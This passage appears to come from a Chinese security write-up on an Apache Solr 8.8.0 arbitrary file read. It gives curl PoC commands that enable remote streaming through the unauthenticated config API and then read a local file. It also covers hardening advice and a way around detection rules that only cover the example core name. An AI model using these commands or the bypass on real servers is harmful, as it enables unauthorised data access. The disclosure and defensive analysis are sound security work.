http://archive.apache.org/dist/lucene/solr/8.80/solr-8.8.0.tgz
POC
curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'
curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt"
復現
1.第一步
curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'

2.第二步
curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt"?


3.漏洞信息跟進
https://cwiki.apache.org/confluence/display/solr/SolrSecurity
https://issues.apache.org/jira/browse/SOLR
4.廠商防護及繞過思路
這種組件直接放內網就好了,或者一定配置身份校驗,且Solr路由寫的比較死,廠商提取規則時只要將url過濾完整即可,不會存在繞過情況。
繞過的話,雖然說每個漏洞url較為固定,但是每個功能的觸發點皆為每個core或collection,core的名稱包含在url中,且生產環境中為用戶自定義,很多規則編寫者通常只將示例example加入檢測,可繞過幾率很高。
四、個人思考
Apache Solr整體默認安裝為未授權,且大部分資產都為未授權,提供眾多api接口,支持未授權用戶通過config api更改配置文件,攻擊面較大。
五、參考鏈接
https://solr.apache.org/guide/8_6/
https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/
https://baike.baidu.com/item/apache%20solr
https://cwiki.apache.org/confluence/display/solr/SolrSecurity
https://www.jianshu.com/p/03b1199dec2c
https://zhuanlan.zhihu.com/p/71629409
https://issues.apache.org/jira/browse/SOLR-12770
https://www.ebounce.cn/web/73.html
https://developer.aliyun.com/article/616505
https://www.jianshu.com/p/d3d83b6cb17c
https://www.cnblogs.com/leeSmall/p/8992708.html
https://zhouj000.github.io/2019/01/24/solr-6/
https://juejin.im/post/6844903949116391431
http://codingdict.com/article/9427
https://xz.aliyun.com/t/1523#toc-1
http://www.bjnorthway.com/1009/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1515/

暫無評論